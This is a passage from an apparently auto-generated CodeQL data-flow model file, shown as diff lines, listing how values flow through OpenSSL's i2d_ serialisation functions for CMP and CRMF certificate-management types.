"Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTSTATUS", "(const OSSL_CMP_CERTSTATUS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CHALLENGE", "(const OSSL_CMP_CHALLENGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSOURCE", "(const OSSL_CMP_CRLSOURCE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CRLSTATUS", "(const OSSL_CMP_CRLSTATUS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ERRORMSGCONTENT", "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ITAV", "(const OSSL_CMP_ITAV *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_KEYRECREPCONTENT", "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_MSG", "(const OSSL_CMP_MSG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIBODY", "(const OSSL_CMP_PKIBODY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKIHEADER", "(const OSSL_CMP_PKIHEADER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PKISI", "(const OSSL_CMP_PKISI *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREP", "(const OSSL_CMP_POLLREP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_POLLREQ", "(const OSSL_CMP_POLLREQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_PROTECTEDPART", "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVANNCONTENT", "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVDETAILS", "(const OSSL_CMP_REVDETAILS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_REVREPCONTENT", "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ROOTCAKEYUPDATE", "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, 